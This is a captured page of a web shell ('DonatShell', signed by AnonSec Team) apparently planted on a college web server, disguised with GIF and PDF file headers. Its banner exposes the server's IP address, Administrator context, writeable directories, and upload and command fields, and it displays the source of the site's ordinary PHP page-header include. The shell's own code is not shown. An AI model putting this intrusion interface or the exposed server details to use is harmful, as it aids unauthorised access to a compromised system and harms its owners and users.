GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/common/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/common/pageHeader.phpinc
<?
// pageHeader.phpinc

doctype(__FILE__);
#if (dc()) echo substr($_SESSION['FIRST_FILE'],0,strlen($_SESSION['FIRST_FILE'])-5),"<br>\n";
debugTrackBegin();
if ( !isset($_SESSION['PageHeaderLoaded']) || !$_SESSION['PageHeaderLoaded'] ) {
  $_SESSION['PageHeaderLoaded'] = true;
	$_SESSION['SectionCount'] = 0;
	if (!isset($GLOBALS['sectionTitle'])) {
		if (isset($_SESSION['userFullName']) && $_SESSION['userFullName'] != '') {
			$GLOBALS['sectionTitle'] = $_SESSION['userFullName'];
		} else {
			$GLOBALS['sectionTitle'] = 'Computer Systems Technology - Ridgewater College';
		}
	}
	$GLOBALS['sectionTitle'] = 'Computer Systems Technology - Ridgewater College';
	#d_Var("\$GLOBALS['pageTitle']",$GLOBALS['pageTitle'],'d');
	
	if (!isset($GLOBALS['pageTitle'])) {
		$GLOBALS['pageTitle'] = 'Computer Systems Technology';
	}
	if (!isset($GLOBALS['headTitle'])) {
		$GLOBALS['headTitle'] = str_replace("<br>"," - ",str_replace("<br>"," - ",$GLOBALS['pageTitle']));
	}
	if (!isset($GLOBALS['headTitleNoExpand']) || !$GLOBALS['headTitleNoExpand']) {
		$GLOBALS['headTitle'] = expandHeader($GLOBALS['headTitle']);
		#if ($_SERVER['REMOTE_ADDR'] == '10.14.16.15') printVar('$GLOBALS['headTitle']',$GLOBALS['headTitle']);
		$GLOBALS['pageTitle'] = expandHeader($GLOBALS['pageTitle']);
		if (isset($_SESSION['userFullName'])) {
			$GLOBALS['headTitle'] .= " - ".$_SESSION['userFullName'];
		}
		if (isset($_SESSION['YRTR']['User_NAME'])) {
			$GLOBALS['headTitle'] .= ' - '.$_SESSION['YRTR']['User_NAME'].' ('.$_SESSION['YRTR']['User'].')';
			$GLOBALS['pageTitle'] = $_SESSION['YRTR']['User_NAME'].' ('.$_SESSION['YRTR']['User'].')<br>'.$GLOBALS['pageTitle'];
		}
	}
  if ( !isset($GLOBALS['onload']) ) { $GLOBALS['onload'] = ''; }
  if ( !isset($GLOBALS['onresize']) ) { $GLOBALS['onresize'] = ''; }
  if ( !isset($GLOBALS['onunload']) ) { $GLOBALS['onunload'] = ''; }
  if ( isset($GLOBALS['bodyId']) && $GLOBALS['bodyId'] != '' ) { $GLOBALS['bodyId'] = ' id="'.$GLOBALS['bodyId'].'"'; } else { $GLOBALS['bodyId'] = ''; }
?>
<?=$_SESSION['HTML']?>


<head>
  <title><?=$GLOBALS['headTitle']?></title>
<?
    // Keep track of meta, css, and js tags added.
    $GLOBALS['mcjAdded'] = array();
    // BEGIN Add meta tags.
		if ( !isset($GLOBALS['meta']) ) $GLOBALS['meta'] = '';
    $metaArray = explode('|', $GLOBALS['meta']);
    array_unshift($metaArray, 'http-equiv="Content-Type" content="text/html; charset=UTF-8"'); // Add the charset to $metaArray.
    $metaTagsAdded = '';
    foreach ( $metaArray as $thisMeta) {
      $thisMeta = trim($thisMeta);
      if ($thisMeta != '') {
        if ( strpos($metaTagsAdded,$thisMeta) === false ) {
          echo '  <meta '.$thisMeta.'>'."\n";
          $GLOBALS['mcjAdded'][] = '<meta '.$thisMeta.'>';
          $metaTagsAdded = listAppend($metaTagsAdded,$thisMeta);
        }
      }
    }
    // END Add meta tags.
    // BEGIN Link css files.
    if (isset($GLOBALS['css']) && $GLOBALS['css'] != '') {
      $GLOBALS['css'] = 'CST,'.$GLOBALS['css'];
			$cssFileArray = explode(",", $GLOBALS['css']);
      #printVar('$cssFileArray',$cssFileArray);
      $cssLinks = '';
      foreach ( $cssFileArray as $cssFile) {
        if (trim($cssFile) != '') {
          // Get the css file path.
          #printVar('$cssFile',$cssFile,'/');
          if (strpos($cssFile,"/") === false) {
            $cssPath = $_SESSION['HTTP_ROOT'].'/css/';
            $cssExists = $_SESSION['DIRECTORY_ROOT'].'/css/';
          } else {
            $cssPath = dirname($cssFile).'/';
            $cssFile = basename($cssFile); 
            if ( substr($cssPath,0,1) != '.' && substr($cssPath,0,7) != 'http://' && substr($cssPath,0,8) != 'https://' ) {
              if ( substr($cssPath,0,1) != '/' ) {
                $cssPath = $_SESSION['HTTP_ROOT'].'/'.$cssPath;
                $cssExists = $_SESSION['DIRECTORY_ROOT'].'/'.$cssPath;
              } else {
                $cssPath = $_SESSION['HTTP_ROOT'].$cssPath;
                $cssExists = $_SESSION['DIRECTORY_ROOT'].$cssPath;
              }
            } else {
              if ( substr($cssPath,0,7) != 'http://' && substr($cssPath,0,8) != 'https://' ) {
                $cssExists = $cssPath;
              } else {
                $cssExists = true;
              }
            }
          }
          // Get the css file and ext.
          $cssFileExt = explode('.',trim($cssFile));
          if ( !isset( $cssFileExt[1] ) ) { $cssFile = $cssFileExt[0]; $cssExt = '.css'; } else { $cssExt = ''; }
					if ( !$GLOBALS['css_StopCache'] && substr($cssFile.$cssExt,-4) != '.php' ) { // Should we append datetime to stop caching?
						// No, clear the stop cache.
						$cssStopCacheString = '';
					} else { // Should we append datetime to stop caching?
						if ( substr($cssPath,0,7) != 'http://' && substr($cssPath,0,8) != 'https://' ) {
							$cssStopCacheString = '?datetime='.str_replace(array('-',':',' '),'',CurrentDateTime()); // Append the stop cache.
						} else {
							$cssStopCacheString = '';
						}
						//Yes, append the stop cache.
					} // Should we append datetime to stop caching?
          #printVar('$cssPath',$cssPath);
          #printVar('$cssFile',$cssFile);
          #printVar('$cssExt',$cssExt);
          #printVar('$cssExists',$cssExists);
          #if (strpos($cssFile,"/") === false) { $cssPath = '/css/'; } else { $cssPath = dirname($cssFile).'/'; $cssFile = basename($cssFile); }
          ##printVar('$cssPath - $cssFile - $cssExt',$cssPath.' - '.$cssFile.' - '.$cssExt);
          if ( strpos($cssLinks,$cssPath.$cssFile.$cssExt) === false ) {
            if ( file_exists($cssExists.$cssFile.$cssExt) ) {
              echo '  <link href="'.$_SESSION['HTTP_ROOT'].$cssPath.$cssFile.$cssExt.$cssStopCacheString.'" rel="stylesheet" type="text/css">'."\n";
              $GLOBALS['mcjAdded'][] = '<link href="'.$cssPath.$cssFile.$cssExt.$cssStopCacheString.'" rel="stylesheet" type="text/css">';
              $cssLinks = listAppend($cssLinks,$cssPath.$cssFile.$cssExt.$cssStopCacheString);
              if ( isset($_SESSION['BROWSER']['name']) ) {
                if ( in_array($_SESSION['BROWSER']['name'],array('Chrome','Explorer','Firefox','Safari')) ) {
                  if ( file_exists($cssExists.$cssFile.'_'.$_SESSION['BROWSER']['name'].$cssExt.$cssStopCacheString) ) { // Detect if css file exists for this browser.
                    $cssFile .= '_'.$_SESSION['BROWSER']['name'];
                    echo '  <link href="'.$cssPath.$cssFile.$cssExt.$cssStopCacheString.'" rel="stylesheet" type="text/css">'."\n"; // if it does, add the link.
                    $GLOBALS['mcjAdded'][] = '<link href="'.$cssPath.$cssFile.$cssExt.$cssStopCacheString.'" rel="stylesheet" type="text/css">';
                    $cssLinks = listAppend($cssLinks,$cssPath.$cssFile.$cssExt.$cssStopCacheString);
                  }
                  if ( file_exists($cssExists.$cssFile.(int)$_SESSION['BROWSER']['version'].$cssExt.$cssStopCacheString) ) { // Detect if css file exists for this browser version.
                    $cssFile .= (int)$_SESSION['BROWSER']['version'];
                    echo '  <link href="'.$cssPath.$cssFile.$cssExt.$cssStopCacheString.'" rel="stylesheet" type="text/css">'."\n"; // if it does, add the link.
                    $GLOBALS['mcjAdded'][] = '<link href="'.$cssPath.$cssFile.$cssExt.$cssStopCacheString.'" rel="stylesheet" type="text/css">';
                    $cssLinks = listAppend($cssLinks,$cssPath.$cssFile.$cssExt.$cssStopCacheString);
                  }
                }
              }
            } else {
              echo '  <!-- Skipped css file '.$cssFile.'. Not found at '.$cssExists.$cssFile.$cssExt.' -->'."\n";
              $GLOBALS['mcjAdded'][] = ' Skipped css file '.$cssFile.'. Not found at '.$cssExists.$cssFile.$cssExt.'.';
            } // if ( file_exists($cssExists.$cssFile.$cssExt) )
          } // if ( strpos($cssLinks,'/'.$cssFile.substr($cssExt,0,1)) === false )
        } // if (trim($cssFile) != '')
      } // foreach ( $cssFileArray as $cssFile)
    } // if (isset($GLOBALS['css']) && $GLOBALS['css'] != '')
    #printVar("\$cssLinks",$cssLinks,'+');
    // END Link css files.
    // BEGIN Add js files.
    if (isset($GLOBALS['js']) && $GLOBALS['js'] != '') {
      $GLOBALS['js'] = 'CST,div,CollapsibleLists,'.$GLOBALS['js'];
      $jsFileArray = explode(",", $GLOBALS['js']);
      #printVar('$jsFileArray',$jsFileArray);
      $jsLinks = '';
      foreach ( $jsFileArray as $jsFile) {
        if (trim($jsFile) != '') {
          // Get the js file path.
          #printVar('$jsFile',$jsFile,'/');
          if (strpos($jsFile,"/") === false) {
            $jsPath = $_SESSION['HTTP_ROOT'].'/js/';
						#printVar('$jsPath',$jsPath);
            $jsExists = $_SESSION['DIRECTORY_ROOT'].'js/';
						#printVar('$jsExists',$jsExists);
          } else {
            $jsPath = dirname($jsFile).'/';
            $jsFile = basename($jsFile);
						#printVar("\$_SESSION['DIRECTORY_ROOT']",$_SESSION['DIRECTORY_ROOT']);
            #printVar("substr(\$_SESSION['DIRECTORY_ROOT'],-1)",substr($_SESSION['DIRECTORY_ROOT'],-1));
            if ( substr($jsPath,0,1) != '.' && substr($jsPath,0,7) != 'http://' && substr($jsPath,0,8) != 'https://' ) {
              if ( substr($jsPath,0,1) != '/' ) {
                $jsPath = $_SESSION['HTTP_ROOT'].'/'.$jsPath;
                $jsExists = $_SESSION['DIRECTORY_ROOT'].'/'.$jsPath; 
								#printVar('$jsExists',$jsExists);
              } else {
								if ( substr($_SESSION['DIRECTORY_ROOT'],-1) != '/' || substr($jsPath,0,1) != '/' ) {
									$jsPathAdd = $jsPath;
								} else {
									$jsPathAdd = substr($jsPath,1);
								}
                $jsPath = $_SESSION['HTTP_ROOT'].$jsPath; #printVar('$jsPath',$jsPath);
                $jsExists = $_SESSION['DIRECTORY_ROOT'].$jsPathAdd;
								#printVar('$jsExists',$jsExists);
              }
            } else {
              if ( substr($jsPath,0,7) != 'http://' && substr($jsPath,0,8) != 'https://' ) {
                $jsExists = $jsPath; #printVar('$jsExists',$jsExists);
              } else {
                $jsExists = true; #printVar('$jsExists',$jsExists);
              }
            }
          }
          // Get the js file and ext.
          $jsFileExt = explode('.',trim($jsFile));
          if ( !isset( $jsFileExt[1] ) ) { $jsFile = $jsFileExt[0]; $jsExt = '.js'; } else { $jsExt = ''; }
          #printVar('$jsPath',$jsPath);
          #printVar('$jsFile',$jsFile);
          #printVar('$jsExt',$jsExt);
          #printVar('$jsExists',$jsExists);
					if ( !$GLOBALS['jsStopCache'] && stripos(substr($jsFile[0],-4),'.php') === false ) { // Should we append datetime to stop caching?
						// No, clear the stop cache.
						$jsStopCacheString = '';
					} else { // Should we append datetime to stop caching?
						//Yes, append the stop cache.
						if ( !isset($jsFile[1]) ) { // Is there not a query string?
							// No, begin a query string
							$jsStopCacheString = '?';
						} else { // Is there not a query string?
							// Yes, begin with the current query.
							$jsStopCacheString = '?'.$jsFile[1].'&';
						} // Is there not a query string?
						$jsStopCacheString .= 'datetime='.str_replace(array('-',':',' '),'',CurrentDateTime()); // Append the stop cache.
					} // Should we append datetime to stop caching?
          if ( strpos($jsLinks,$jsPath.$jsFile.$jsExt) === false ) {
            if ( $jsExists === true || file_exists($jsExists.$jsFile.$jsExt) ) {
              echo '  <script src="'.$jsPath.$jsFile.$jsExt.$jsStopCacheString.'"></script>'."\n";
              $GLOBALS['mcjAdded'][] = '<script src="'.$jsPath.$jsFile.$jsExt.$jsStopCacheString.'"></script>';
              $jsLinks = listAppend($jsLinks,$jsPath.$jsFile.$jsExt.$jsStopCacheString);
              if ( isset($_SESSION['BROWSER']['name']) ) {
                if ( in_array($_SESSION['BROWSER']['name'],array('Chrome','Explorer','Firefox','Safari')) ) {
                  if ( file_exists($jsExists.$jsFile.'_'.$_SESSION['BROWSER']['name'].$jsExt) ) { // Detect if js file exists for this browser.
                    $jsFile .= '_'.$_SESSION['BROWSER']['name'];
                    echo '  <script src="'.$jsPath.$jsFile.$jsExt.$jsStopCacheString.'"></script>'."\n"; // if it does, add the link.
                    $GLOBALS['mcjAdded'][] = '<script src="'.$jsPath.$jsFile.$jsExt.$jsStopCacheString.'"></script>>';
                    $jsLinks = listAppend($jsLinks,$jsPath.$jsFile.$jsExt.$jsStopCacheString);
                  }
                  if ( file_exists($jsExists.$jsFile.(int)$_SESSION['BROWSER']['version'].$jsExt) ) { // Detect if js file exists for this browser version.
                    $jsFile .= (int)$_SESSION['BROWSER']['version'];
                    echo '  <script src="'.$jsPath.$jsFile.$jsExt.$jsStopCacheString.'"></script>'."\n"; // if it does, add the link.
                    $GLOBALS['mcjAdded'][] = '<script src="'.$jsPath.$jsFile.$jsExt.$jsStopCacheString.'"></script>';
                    $jsLinks = listAppend($jsLinks,$jsPath.$jsFile.$jsExt.$jsStopCacheString);
                  }
                }
              }
            } else {
              echo '  <!-- Skipped js file '.$jsFile.'. Not found at '.$jsExists.$jsFile.$jsExt.' -->'."\n";
              $GLOBALS['mcjAdded'][] = ' Skipped js file '.$jsFile.'. Not found at '.$jsExists.$jsFile.$jsExt.'.';
            } // if ( file_exists($jsExists.$jsFile.$jsExt) )
          } // if ( strpos($jsLinks,'/'.$jsFile.substr($jsExt,0,1)) === false )
        } // if (trim($jsFile) != '')
      } // foreach ( $jsFileArray as $jsFile)
    } // if (isset($GLOBALS['js']) && $GLOBALS['js'] != '')
    #printVar("\$jsLinks",$jsLinks,'+');
    // END Add js files.
    #printVar('meta, css, and js tags added',$GLOBALS['mcjAdded'],'kL');
    // BEGIN Add body onload functions;
    $onloadBody = '';
		/** /
    if ( isset($GLOBALS['onload']) && $GLOBALS['onload'] != '' ) {
      $onloadFunctionArray = explode(",", $GLOBALS['onload']);
      #printVar('$onloadFunctionArray',$onloadFunctionArray,'l');
      foreach ( $onloadFunctionArray as $onloadFunction) {
        if ( trim($onloadFunction) != '' && strpos($onloadBody,' '.$onloadFunction.'();') === false ) {
					if ( strpos($onloadFunction,'()') === false ) $onloadFunction .= '()';
					if ( strpos($onloadFunction,';') === false ) $onloadFunction .= ';';
          $onloadBody .= ' '.trim($onloadFunction);
        }
      }
      $onloadBody = trim($onloadBody);
      if ( $onloadBody != '' ) $onloadBody = ' onload="'.$onloadBody.'"';
    }
    #printVar('onloadBody',$onloadBody,'l');
		/**/
    // END Add body onload functions;
    // BEGIN Add body onresize functions;
    $onresizeBody = '';
    if ( isset($GLOBALS['onresize']) && $GLOBALS['onresize'] != '' ) {
      $onresizeFunctionArray = explode(",", $GLOBALS['onresize']);
      #printVar('$onresizeFunctionArray',$onresizeFunctionArray,'l');
      foreach ( $onresizeFunctionArray as $onresizeFunction) {
        if ( trim($onresizeFunction) != '' && strpos($onresizeBody,' '.$onresizeFunction.'();') === false ) {
					if ( strpos($onresizeFunction,'()') === false ) $onresizeFunction .= '()';
					if ( strpos($onresizeFunction,';') === false ) $onresizeFunction .= ';';
          $onresizeBody .= ' '.trim($onresizeFunction);
        }
      }
      $onresizeBody = trim($onresizeBody);
      if ( $onresizeBody != '' ) $onresizeBody = ' onresize="'.$onresizeBody.'"';
    }
    #printVar('onresizeBody',$onresizeBody,'l');
    // END Add body onresize functions;
    // BEGIN Add body onunload functions;
    $onunloadBody = '';
    if ( isset($GLOBALS['onunload']) && $GLOBALS['onunload'] != '' ) {
      $onunloadFunctionArray = explode(",", $GLOBALS['onunload']);
      #printVar('$onunloadFunctionArray',$onunloadFunctionArray,'l');
      foreach ( $onunloadFunctionArray as $onunloadFunction) {
        if ( trim($onunloadFunction) != '' && strpos($onunloadBody,' '.$onunloadFunction.'();') === false ) {
					if ( strpos($onunloadFunction,'()') === false ) $onunloadFunction .= '()';
					if ( strpos($onunloadFunction,';') === false ) $onunloadFunction .= ';';
          $onunloadBody .= ' '.trim($onunloadFunction);
        }
      }
      $onunloadBody = trim($onunloadBody);
      if ( $onunloadBody != '' ) $onunloadBody = ' onunload="'.$onunloadBody.'"';
    }
    #printVar('onunloadBody',$onunloadBody,'l');
    // END Add body onunload functions;
?>
</head>

<body<?=$GLOBALS['bodyId']?><?=$onloadBody?><?=$onresizeBody?><?=$onunloadBody?>>
<?
	#if (dc()) if ($TRACK != '') echo basename(__FILE__)," line ",__LINE__,": ","pageHeader called by ".$thisFile."<br>\n";
	//printVar("\$GLOBALS['displayHeader']",$GLOBALS['displayHeader']);
	if ( !isset($GLOBALS['displayHeader']) || $GLOBALS['displayHeader'] ) {
		if ( !isset($hidefromprintTitle) ) $hidefromprintTitle = false;
		$hidefromprintSection = $hidefromprintTitle;
		require('common/sectionHeader.phpinc');
		if (!isset($GLOBALS['smallTitle'])) $GLOBALS['smallTitle'] = false;
		if (!$GLOBALS['smallTitle']) { $pageClass = 'pageTitle'; } else { $pageClass = 'pageName'; }
?>
		<table class="nopad">
			<tr>
				<td class="pageImage" rowspan="2"><a href="/"><img src="/images/CSTlogoBlue115.gif" alt="Blue CST logo"></a></td>
				<td class="<?=$pageClass?>" colspan="3"><?=$GLOBALS['pageTitle']?></td>
				<td class="pageImage" rowspan="2"><a href="/"><img src="/images/CSTlogoGreen115.gif" alt="Green CST logo"></a></td>
			</tr>
			<tr style="height:25px;">
				<td style="width:70px;"><?
	// Show test and info links
		if ( dc() ) {
?><a href="/_info" class="smaller">Info</a><br><a href="/_work" class="smaller">Work</a><?
		}
?></td>
				<td class="center" style="width:688px;"><?  require('common/topMenu.phpinc'); ?></td>
				<td class="right" style="width:70px;"><? 
		// Show Debug link
			if ( dc() ) {
				$queryString = $_SERVER["QUERY_STRING"] != "" ? '?'.urlencode($_SERVER["QUERY_STRING"]) : '';
				if ($_SESSION['DEBUG']) {
?><a href="<?=$_SESSION['HTTP_ROOT']?>/debug.php<?=$queryString?>" class="smaller">Debug off</a><?
				} else {
?><a href="<?=$_SESSION['HTTP_ROOT']?>/debug.php<?=$queryString?>" class="smaller">Debug on</a><?
				}
				if ($_SESSION['DEBUG_MYSQL']) {
?><a href="<?=$_SESSION['HTTP_ROOT']?>/debugMySQL.php<?=$queryString?>" class="smaller">MySQL off</a><?
				} else {
?><a href="<?=$_SESSION['HTTP_ROOT']?>/debugMySQL.php<?=$queryString?>" class="smaller">MySQL on</a><?
				}
			}
?></td>
			</tr>
		</table>
<?
		require('common/sectionFooter.phpinc');
	} // (!isset($GLOBALS['displayHeader']) || $GLOBALS['displayHeader'])
	
	// Display ERRORS and MESSAGES.
	if ( isset($_SESSION['userId']) && $_SESSION['userId'] == -1 ) { printVar('$f_message',$f_message); }
	require('common/displayErrorsAndMessages.phpinc');
	
	#if ( $_SERVER['REMOTE_ADDR'] == '173.18.10.148' ) setDebugOn();
	#echo "End of pageHeader.phpind<br>\n";
}

$hidefromprintTitle = false;

debugTrackEnd();
?>

Anon7 - 2022
AnonSec Team